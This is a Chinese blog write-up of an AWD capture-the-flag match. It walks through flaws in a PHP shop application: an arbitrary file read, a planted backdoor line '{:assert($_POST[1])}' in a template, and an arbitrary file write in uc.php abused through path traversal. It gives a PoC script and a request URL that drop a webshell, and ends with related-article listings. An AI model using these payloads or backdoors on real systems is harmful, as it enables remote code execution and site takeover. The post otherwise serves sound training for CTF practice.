拿别人比赛的来玩一下,或许这就是菜的力量吧。

0x01 任意文件读取:

 switch ($row['media_type']) {
case 0: // 图片广告
......
break;
case 2: // CODE
$ads[] = $row['ad_code'];
break;
case 3: // TEXT
$ads[] = "<a href='" . url('default/affiche/index', array('ad_id' => $row['ad_id'], 'uri' => urlencode($row["ad_link"]))) . "'
target='_blank'>" . htmlspecialchars($row['ad_code']) . '</a>';
break;
case 4: // url
$ads[] = file_get_contents($_POST['url']);
}

至于调用这个的具体的代码没有发出来所以具体的调用链也没办法写出来,只能简单复现一下。

其实这个测试就不用测试了,太low了可能只是调用链的问题,不然没有难度。

看文章里的URL调用链是这样的

  https://192.168.37.180/match/WAR20/oapi?atn=answers&token=RCNWBJXQ&flag=%s

需要switch 4的时候才出发漏洞。这里分享一个tips可以通过功能去找到调用链。不用再一个去拼接URL,可能对于我这样的菜鸡还是有点难度。

0x02 官方后门

  官方提示auction_list.dwt文件

  然后通过sublime快速索引这个文件。得到如下文件。

    <div class="con">{:assert($_POST[1])}找到一个马

  至于怎么利用很尴尬,具体文件没发出来,很蛋疼。对了,这个是dwt文件,经过百度科普dwt是网页模板文件。

0x03 任意文件写入mobile/api/uc.php

  有那么一个action数组

 if (in_array($get['action'], array(
'test',
'deleteuser',
'renameuser',
'gettag',
'synlogin',
'synlogout',
'updatepw',
'updatebadwords',
'updatehosts',
'updateapps',
'updateclient',
'updatecredit',
'getcreditsettings',
'updatecreditsettings',
'writesth'
)))

作者说一眼就看穿了writesth是官方留下的后门,或许这就是优秀吧。

我是看不出来。

然后找到了这个函数。

function writesth($get, $post){
$cachefile = $this->appdir .$get['name'];
$fp = fopen($cachefile, 'w');
$s = "<?phprn";
$s .= $get['content'];
fwrite($fp, $s);
fclose($fp);
return API_RETURN_SUCCEED;
}

然后很明显可以看出文件名以及内容都是可控的,但是文件名多了一个$this->appdir。这个无碍,可以通过/../进行跨目录。

然后写了一个测试的代码:

<?php
class test
{
function writesth($get){
$cachefile = "xx".$get['name'];
$fp = fopen($cachefile, 'w');
$s = "<?phprn";
$s .= $get['content'];
fwrite($fp, $s);
fclose($fp);
echo "success";
}
}
$data = new test();
$data ->writesth(array("name"=>"/../shell.php","content"=>"><?php echo 'this is webshell';?>"));
?>

在写shell的时候需要对<?phprn闭合。

什么?怎么写批量脚本?你看哪里有使用到writesth到的不就OK。还是不会写???

  就这样:1270.0.1/index.php?id=t.php?id[name]=./../shell.php&id[content]=?><?php echo "this is phpshell"?>

0x04 一些SQL注入

  注入感觉在AWD中玩的并不是那么顺,大多数应该都是报错型的。套路也就那几个。

某线下赛AWD的更多相关文章

  1. CTF线下赛AWD套路小结

    近打了2场CTF线下赛,把AWD模式中的一些小套路做一些总结,本人web狗,二进制部分就不班门弄斧了. 一. AWD模式简介 AWD:Attack With Defence,比赛中每个队伍维护多台服务 ...

  2. CTF线下赛AWD模式下的生存技巧

    作者:Veneno@Nu1L 稿费:200RMB 投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿 原文:https://www.anquanke.com/post/id/8467 ...

  3. 某团队线下赛AWD writeup&Beescms_V4.0代码审计

    还是跟上篇一样.拿别人比赛的来玩一下.  0x01 预留后门 连接方式: 0x02 后台登录口SQL注入 admin/login.php 在func.php当中找到定义的check_login函数 很 ...

  4. 2021江西省赛线下赛赛后总结(Crypto)

    2021江西省赛线下赛 crypto1 题目: from random import randint from gmpy2 import * from Crypto.Util.number impor ...

  5. ogeek线下赛web分析1-python-web

    1.python from flask import Flask, request, render_template,send_from_directory, make_response from A ...

  6. Redhat 线下赛 WEB WP

    赛制 给每个参赛队伍所有题目的gamebox,参赛队伍在开赛时就能获取到所有题目的源码,可以选择先防御后攻击或先攻击后防御,只要拿到gamebox上的flag,机器人就会自动帮你攻击场上所有未防御选手 ...

  7. 虎符2021线下赛pwn writeup

    jdt 一个图书管理系统,但并不是常规的堆题.edit和show函数可以越界.edit函数和show函数相互配合泄露libc基地址,将main函数的返回地址覆盖成onegadgets拿shell. f ...

  8. 线下AWD平台搭建以及一些相关问题解决

    线下AWD平台搭建以及一些相关问题解决 一.前言 文章首发于tools,因为发现了一些新问题但是没法改,所以在博客进行补充. 因为很多人可能没有机会参加线下的AWD比赛,导致缺乏这方面经验,比如我参加 ...

  9. CTF线下防御战 — 让你的靶机变成“铜墙铁壁”

    本文首发安全客,未经允许禁止转载.原文链接 一. 前言 随着CTF的普及,比赛的形式也有了越来越多的花样,对于线下赛来说,开始出现了安全加固或者防御战之类的环节,亦或者因为拿下靶机后不希望其他攻击者进 ...

随机推荐

  1. Html5新增元素中Canvas 与内联SVG的比较!

    SVG与Canvas的区别与比较如下: svg:使用xml描述2D图形,canvas使用javascript描述2D图形. Canvas 是逐像素进行渲染的,在 canvas 中,一旦图形被绘制完成, ...

  2. JVM 内部原理系列

    JVM 内部原理(一)— 概述 JVM 内部原理(二)— 基本概念之字节码 JVM 内部原理(三)— 基本概念之类文件格式 JVM 内部原理(四)— 基本概念之 JVM 结构 JVM 内部原理(五)— ...

  3. Spring 中常用注解原理剖析

    前言 Spring 框架核心组件之一是 IOC,IOC 则管理 Bean 的创建和 Bean 之间的依赖注入,对于 Bean 的创建可以通过在 XML 里面使用 <bean/> 标签来配置 ...

  4. MVC、MVP、MVVM 模式

    一.前言 做客户端开发.前端开发对MVC.MVP.MVVM这些名词不了解也应该大致听过,都是为了解决图形界面应用程序复杂性管理问题而产生的应用架构模式.网上很多文章关于这方面的讨论比较杂乱,各种MV* ...

  5. Spring Cloud Zuul(服务网关)

    新建应用:api-gateway pom.xml <?xml version="1.0" encoding="UTF-8"?> <projec ...

  6. idea Class<>表示的含义

  7. Check Corners HDU - 2888(二维RMQ)

    就是板题.. 查询子矩阵中最大的元素...然后看看是不是四个角落的  是就是yes  不是就是no  判断一下就好了 #include <iostream> #include <cs ...

  8. 洛谷 U14472 数据结构【比赛】 【差分数组 + 前缀和】

    题目描述 蒟蒻Edt把这个问题交给了你 ---- 一个精通数据结构的大犇,由于是第一题,这个题没那么难.. edt 现在对于题目进行了如下的简化: 最开始的数组每个元素都是0 给出nnn,optopt ...

  9. oracle 时间

    select to_char(to_date(sysdate,'yyyy-mm-dd'),'day') from dual; select to_date('2017-12-31','day') fr ...

  10. 洛谷P2344 奶牛抗议

    题目背景 Generic Cow Protests, 2011 Feb 题目描述 约翰家的N 头奶牛正在排队游行抗议.一些奶牛情绪激动,约翰测算下来,排在第i 位的奶牛的理智度为Ai,数字可正可负. ...